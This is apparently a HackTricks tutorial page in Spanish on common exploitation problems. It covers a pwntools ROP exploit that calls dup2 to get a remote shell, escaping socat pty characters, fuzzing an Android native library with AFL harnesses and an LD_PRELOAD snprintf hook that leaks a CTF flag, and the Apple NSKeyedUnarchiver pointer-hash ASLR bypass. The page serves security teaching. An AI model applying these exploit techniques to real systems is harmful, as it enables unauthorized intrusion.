Problemas comunes de explotación

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

FDs in Remote Exploitation

Al enviar un exploit a un servidor remoto que invoque por ejemplo system('/bin/sh'), esto se ejecutará en el proceso del servidor, por supuesto, y /bin/sh esperará entrada por stdin (FD: 0) y mostrará la salida en stdout y stderr (FDs 1 y 2). Por tanto, el atacante no podrá interactuar con el shell.

Una forma de solucionar esto es suponer que cuando el servidor arrancó creó el FD número 3 (para listening) y que entonces tu conexión estará en el FD número 4. Por lo tanto, es posible usar la syscall dup2 para duplicar stdin (FD 0) y stdout (FD 1) en el FD 4 (el de la conexión del atacante), de modo que sea posible contactar con el shell una vez que se ejecute.

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Ten en cuenta que socat ya transfiere stdin y stdout al socket. Sin embargo, el modo pty incluye caracteres DELETE. Por lo tanto, si envías un \x7f (DELETE) eliminará el carácter anterior de tu exploit.

Para evitar esto, el carácter de escape \x16 debe preceder a cualquier \x7f enviado.

Aquí puedes find an example of this behaviour.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

Cuando una app Android distribuye únicamente un .so AArch64 stripped, aún puedes fuzzear la lógica exportada directamente en el dispositivo sin reconstruir el APK. Un flujo de trabajo práctico:

  1. Localiza puntos de entrada invocables. objdump -T libvalidate.so | grep -E "validate" lista rápidamente las funciones exportadas. Los decompiladores (Ghidra, IDA, BN) revelan la firma real, p.ej. int validate(const uint8_t *buf, uint64_t len).
  2. Escribe un harness standalone. Carga un archivo, mantiene el buffer vivo, y llama al símbolo exportado exactamente como lo haría la app. Cross-compile con el NDK (p.ej. aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **Reconstruir la estructura esperada.** Las cadenas de error y las comparaciones en Ghidra mostraron que la función analizaba JSON estricto con claves constantes (`magic`, `version`, anidadas `root.children.*`) y comprobaciones aritméticas (p.ej., `value * 2 == 84` ⇒ `value` debe ser `42`). Proporcionar JSON sintácticamente válido que satisfaga progresivamente cada rama te permite mapear el esquema sin instrumentación.
4. **Bypass anti-debug para leak secrets.** Debido a que la `.so` importa `snprintf`, sobrescríbela con `LD_PRELOAD` para dump format strings sensibles incluso cuando los breakpoints están bloqueados:

<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates la flag interna y confirma el crash oracle sin parchear el binario. 5. Shrink the fuzz space. El desmontaje reveló una clave XOR reutilizada en la comparación de la flag, lo que significa que los primeros siete bytes de flag eran conocidos. Sólo fuzz los nueve bytes desconocidos. 6. Embed fuzz bytes inside a valid JSON envelope. El harness de AFL lee exactamente nueve bytes desde stdin, los copia en el sufijo de la flag y hard-codes todos los demás campos (constants, tree depths, arithmetic preimage). Cualquier lectura malformada simplemente sale, por lo que AFL dedica ciclos a testcases significativos:

Minimal AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = ‘\0’; char json[512]; int len = snprintf(json, sizeof(json), “{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **Run AFL with the crash-as-success oracle.** Cualquier input que satisfaga todas las comprobaciones semánticas y adivine el sufijo correcto de nueve bytes dispara el crash deliberado; esos archivos acaban en `output/crashes` y pueden ser replayed a través del simple harness para recuperar el secret.

Este flujo de trabajo te permite triage rápidamente los anti-debug-protected JNI validators, leak secrets cuando sea necesario, y luego fuzz solo los bytes significativos, todo sin tocar el APK original.

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

Los formatos de cámara maliciosos a menudo incluyen su propio bytecode (opcode lists, map tables, tone curves). Cuando un decoder privilegiado no comprueba los límites de dimensiones derivadas de metadata o índices de plano, esos opcodes se convierten en primitivas de lectura/escritura controladas por el atacante que pueden groom the heap, pivot pointers, o incluso leak ASLR. El exploit Quram de Samsung observado in-the-wild es un ejemplo reciente de encadenar un bug de bounds `DeltaPerColumn`, heap spraying vía skipped opcodes, vtable remapping, y una JOP chain hacia `system()`.

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization

### Requisitos & attack surface

- Un servicio acepta property lists controladas por el atacante (XML o binary) y llama a `NSKeyedUnarchiver.unarchivedObjectOfClasses` con una allowlist permisiva (por ejemplo, `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Los objetos resultantes se reutilizan y luego se serializan de nuevo con `NSKeyedArchiver` (o se itera en deterministic bucket order) y se envían de vuelta al atacante.
- Algún tipo de key en los contenedores usa valores de pointer como su código hash. Antes de marzo de 2025, `CFNull`/`NSNull` revertían a `CFHash(object) == (uintptr_t)object`, y la deserialización siempre devolvía el singleton de shared-cache `kCFNull`, proporcionando un pointer compartido por el kernel estable sin corrupción de memoria ni timing.

### Controllable hashing primitives

- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` carece de un hash callback, por lo que `CFBasicHash` usa la dirección del objeto como el hash. Dado que el singleton vive en una dirección fija del shared-cache hasta reboot, su hash es estable entre procesos.
- **Attacker-controlled hashes:** Las keys `NSNumber` de 32 bits se hashean mediante `_CFHashInt`, que es determinista y controllable por el atacante. Elegir enteros específicos permite al atacante escoger `hash(number) % num_buckets` para cualquier tamaño de tabla.
- **`NSDictionary` implementation:** Las dictionaries inmutables incorporan un `CFBasicHash` con un recuento primo de buckets elegido de `__CFBasicHashTableSizes` (p. ej., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Las collisions se manejan con linear probing (`__kCFBasicHashLinearHashingValue`), y la serialización recorre los buckets en orden numérico; por lo tanto, el orden de las keys serializadas codifica el índice de bucket que cada key ocupó finalmente.

### Encoding bucket indices into serialization order

Al crear un plist que materialice un dictionary cuyos buckets alternan entre slots ocupados y vacíos, el atacante restringe dónde el linear probing puede colocar `NSNull`. Para un ejemplo de 7 buckets, llenar los buckets pares con keys `NSNumber` produce:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

Durante la deserialización la víctima inserta la única clave NSNull. Su bucket inicial es hash(NSNull) % 7, pero el sondeo avanza hasta alcanzar uno de los índices abiertos {1,3,5}. El orden serializado de las claves revela qué ranura se usó, indicando si el hash del puntero módulo 7 se encuentra en {6,0,1}, {2,3} o {4,5}. Como el atacante controla el orden serializado original, la clave NSNull se emite al final en el plist de entrada, por lo que el orden posterior a la reserialización es únicamente función de la colocación del bucket.

Resolviendo residuos exactos con tablas complementarias

Un solo diccionario sólo leaks un rango de residuos. Para determinar el valor preciso de hash(NSNull) % p, construye dos diccionarios por tamaño primo de bucket p: uno con buckets pares prellenados y otro con buckets impares prellenados. Para el patrón complementario (_ # _ # _ # _), los slots vacíos (0,2,4,6) mapean a los conjuntos de residuos {0}, {1,2}, {3,4}, {5,6}. Observar la posición serializada de NSNull en ambos diccionarios reduce el residuo a un solo valor porque la intersección de los dos conjuntos candidatos produce un r_i único para ese p.

El atacante agrupa todos los diccionarios dentro de un NSArray, por lo que un único viaje de deserializar → serializar leaks residuos para cada tamaño de tabla elegido.

Reconstruyendo el puntero shared-cache de 64 bits

Para cada primo p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, el atacante recupera hash(NSNull) ≡ r_i (mod p_i) a partir del orden serializado. Aplicar el Teorema chino del resto (CRT) con el algoritmo euclidiano extendido produce:

Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64

así, el residuo combinado equivale de forma única al pointer de 64 bits a kCFNull. El Project Zero PoC combina iterativamente congruencias mientras imprime los módulos intermedios para mostrar la convergencia hacia la dirección real (0x00000001eb91ab60 en la build vulnerable).

Flujo de trabajo práctico

  1. Generate crafted input: Build the attacker-side XML plist (two dictionaries per prime, NSNull serialized last) and convert it to binary format.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Victim round trip: El servicio víctima deserializa con NSKeyedUnarchiver.unarchivedObjectOfClasses usando el conjunto de clases permitidas {NSDictionary, NSArray, NSNumber, NSString, NSNull} y vuelve a serializar inmediatamente con NSKeyedArchiver.
  2. Residue extraction: Convertir el plist devuelto a XML revela el orden de las claves del diccionario. Un helper como extract-pointer.c lee la object table, determina el índice del singleton NSNull, mapea cada par de diccionarios de vuelta a su residuo de bucket, y resuelve el sistema CRT para recuperar el shared-cache pointer.
  3. Verification (optional): Compilar un pequeño helper en Objective-C que imprima CFHash(kCFNull) confirma que el leaked value coincide con la dirección real.

No se requiere un memory safety bug—simplemente observar el orden de serialización de estructuras con claves basadas en pointer proporciona un remote ASLR bypass primitive.

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks